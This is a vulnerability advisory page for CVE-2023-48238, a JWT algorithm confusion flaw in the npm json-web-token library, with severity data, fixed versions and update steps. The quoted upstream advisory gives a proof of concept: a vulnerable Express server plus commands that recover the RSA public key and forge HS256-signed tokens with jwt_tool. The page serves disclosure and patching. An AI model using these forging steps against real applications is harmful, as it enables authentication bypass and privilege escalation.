HOL LogoGuard

Explore HOL

  • HOL home
  • AI agent registry
  • AI plugins
  • Open standards
  • HOL members
  • Sponsor HOL
  • Advertise with HOL

Guard product

  • Guard overviewLocal security and control for AI agents and the tools they use.
  • FeaturesRuntime protection, policy routing, review, and evidence.

Explore Guard

  • Product previewWalk through Guard surfaces in read-only demo mode.
  • ComparisonCompare Guard with native controls and AI security vendors.

AI tools

  • All AI toolsEvery supported AI tool and how Guard applies policy to it.
  • Codex
  • Claude Code
  • Cursor
  • Antigravity CLI
  • OpenCode
  • Hermes
  • OpenClaw
  • GitHub Copilot CLI
  • Antigravity
  • Kimi
  • Grok
  • Pi / Oh My Pi
  • Zcode

Extensions

  • All extensionsBrowse command and MCP coverage with owners and stated limits.
  • Command coverageShell command protection across clouds, databases, backups, and packages.
  • MCP server coverageSee how Guard maps risk state across MCP tools and servers.
  • Core safetyThe safety floor listings that ship with Guard.
  • Data and resilienceBackup and storage command protection.
  • Cloud and infrastructureAWS, Azure, GCP, Kubernetes, and more.

Security

  • AI security hubSecurity research, advisories, and agent safety coverage.
  • AI tool securitySecurity profiles for each supported coding agent.
  • Safe labsHands-on attack simulations with safe boundaries.
  • Redacted warningsReal blocked actions with sensitive details removed.
  • AdvisoriesCoordinated disclosure reports for AI tooling.
  • Active CVEsSearch active CVEs affecting AI tooling.

Learn

  • Security guidesPractical guides for securing AI agent workflows.
  • DocsInstall, configure, and operate Guard with confidence.
  • ResearchPublished security research, benchmarks, and methodology.

Community

  • ReleasesVersion history, shipped changes and upgrade notes.
  • ContributorsThe people and contributions behind HOL Guard.
  • AffiliatesShare Guard with your audience and earn from referrals.
  • SponsorFund agreed research, implementation and shared testing through the HOL Partner Program.
  • AdvertiseCompare README logo placements, previews and monthly prices, or promote a plugin or extension.
PricingEnterpriseOpen AppInstall Guard
  1. Guard
  2. Security
  3. CVEs
  4. CVE 2023 48238 json web token library is vulnerable to a jwt
HOL Guard

Public security guidance for teams protecting AI harnesses, MCP servers, skills, prompts, and local tool execution.

Install Guard

AI Security

  • Prompt injection
  • MCP security
  • OWASP MCP mapping
  • Supply chain

Resources

  • Trust packet
  • Harness setup
  • Redacted warnings
  • Safe labs

Product

  • Install Guard
  • Pricing
  • Open dashboard
Guard
  • Guard Overview
  • Releases
  • Contributors
  • Install Guard
  • Pricing
Docs
  • Documentation Index
  • Developer Hub
  • API Reference
  • Root OpenAPI
  • Registry OpenAPI
  • Run in Postman
  • Standards
  • Submit ERC-8004 Contract
  • Feature Your Agent
Best Plugins
  • Browse Plugins
  • Plugin Launches
  • Best Claude Plugins
  • Best Codex Plugins
  • Best Grok Plugins
  • Best Kimi Plugins
  • Best DeepSeek Plugins
  • Best Antigravity Plugins
  • Best MCP Servers
  • Best Cursor Plugins
  • Best OpenCode Plugins
Best Agents
  • Best ERC-8004 Agents
  • Best Virtuals Agents
  • Best MCP Servers
  • Best A2A Agents
  • Best x402 Payable
  • All Categories
Community
  • Telegram
  • X
More
  • About HOL
  • Sponsor
  • Advertise
  • Contact
  • Blog
  • GitHub
  • Privacy
  • Terms of Service
Settings

Copyright © 2026 HOL DAO LLC. All rights reserved.

Back to active CVEs
High · CVSS 7.5CVE-2023-48238GHSA-4XW9-CX39-R355

json-web-token library is vulnerable to a JWT algorithm confusion attackCVE-2023-48238

Answer in brief

CVE-2023-48238 records a High severity (CVSS 7.5) vulnerability in json-web-token library is vulnerable to a JWT algorithm confusion attack. The current sources do not mark it as known exploited. The current feed maps json-web-token (npm), json-web-token (npm), json-web-token (npm). Check affected ranges and fixed versions before updating.

Analysis pending evidence review

HOL Guard separates source facts from reviewed analysis. See the methodology.

Published Nov 17, 2023Updated Oct 19, 2026Source checked Oct 19, 2026First seen by HOL Jun 11, 2026Material review Oct 19, 2026
Upstream Advisory

Record context

Vulnerability class
Missing Auth
EPSS
Not reported
CWE IDs
CWE-20, CWE-345
Source
GitHub Security Advisories
Source checked
Oct 19, 2026
References
6 linked sources
Open source record

Key facts

Risk
High · CVSS 7.5
Exploitation
Not marked as known exploited
Affected software
3 mapped packages or products
Fix availability
Available

Why this deserves its current priority

CVSS is 7.5. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.

Analysis status

Analysis pending evidence review

Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.

Affected scope and exposure questions

The current feed maps json-web-token (npm), json-web-token (npm), json-web-token (npm). Check affected ranges and fixed versions before updating.

Mapped affected packages and fixed versions
PackageAffected rangeFixed version
json-web-tokennpm<=3.1.14.0.0
json-web-tokennpm<4.0.04.0.0
json-web-tokennpm>=0 <4.0.04.0.0

Recommended response

  1. 1Check inventory. Check lockfiles and deployed manifests for json-web-token, json-web-token, json-web-token.
  2. 2Review the reported fix. Update json-web-token to 4.0.0; json-web-token to 4.0.0; json-web-token to 4.0.0 if you use the affected versions. Test the change in a non-production environment first.

Evidence timeline and material changes

  1. Published upstream

    Nov 17, 2023

    Evidence: source:ghsa:source_dates:source-dates:record
  2. Source modified

    Oct 19, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  3. First seen by HOL

    Jun 11, 2026

Sources and claim methodology

  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • NVD vulnerability recordnvd.nist.gov
  • GitHub security advisorygithub.com
Upstream source description

### Summary The json-web-token library is vulnerable to a JWT algorithm confusion attack. ### Details On line 86 of the 'index.js' file, the algorithm to use for verifying the signature of the JWT token is taken from the JWT token, which at that point is still unverified and thus shouldn't be trusted. To exploit this vulnerability, an attacker needs to craft a malicious JWT token containing the HS256 algorithm, signed with the public RSA key of the victim application. This attack will only work against this library is the RS256 algorithm is in use, however it is a best practice to use that algorithm. ### PoC Take a server running the following code: ```javascript const express = require('express'); const jwt = require('json-web-token'); const fs = require('fs'); const path = require('path'); const app = express(); const port = 3000; // Load the keys from the file const publicKeyPath = path.join(__dirname, 'public-key.pem'); const publicKey = fs.readFileSync(publicKeyPath, 'utf8'); const privateKeyPath = path.join(__dirname, 'private-key.pem'); const privateKey = fs.readFileSync(privateKeyPath, 'utf8'); app.use(express.json()); // Endpoint to generate a JWT token with admin: False app.get('/generateToken', async (req, res) => { const payload = { admin: false, name: req.query.name }; const token = await jwt.encode(privateKey, payload, 'RS256', function (err, token) { res.json({ token }); }); }); // Middleware to verify the JWT token function verifyToken(req, res, next) { const token = req.query.token; jwt.decode(publicKey, token, (err, decoded) => { if (err) { console.log(err) return res.status(401).json({ message: 'Token authentication failed' }); } req.decoded = decoded; next(); }); } // Endpoint to check if you are the admin or not app.get('/checkAdmin', verifyToken, (req, res) => { res.json(req.decoded); }); app.listen(port, () => { console.log(`Server is running on port ${port}`); }); ``` **Public key recovery** First, an attacker needs to recover the public key from the server in any way possible. It is possible to extract this from just two JWT tokens as shown below. Grab two different JWT tokens and utilize the following tool: `https://github.com/silentsignal/rsa_sign2n/blob/release/standalone/jwt_forgery.py` ``` python3 jwt_forgery.py token1 token2 ``` The tool will generate 4 different public keys, all in different formats. Try the following for all 4 formats. **Algorithm confusion** Change the JWT to the HS256 algorithm and modify any of the contents to your liking at `https://jwt.io/`. Copy the resulting JWT token and use with the following tool: `https://github.com/ticarpi/jwt_tool`. ``` python /opt/jwt_tool/jwt_tool.py --exploit k -pk public_key token ``` You will now get a resulting JWT token that is validly signed. ### Impact Applications using the RS256 algorithm, are vulnerable to this algorithm confusion attack which allows attackers to sign arbitrary payloads that the verifier will accept. ### Solution Either one of the following solutions will work. 1. Change the signature of the `decode` function to ensure that the algorithm is set in that call 2. Check whether or not the secret could be a public key in the decode function and in that case, set the key to be a public key. > Fixed in 4.0.0. Both encode and decode now reject combinations where the key type (PEM vs plain secret) doesn't match the algorithm family. Upgrade with npm install json-web-token@^4.

Quoted source text, attributed separately from HOL analysis.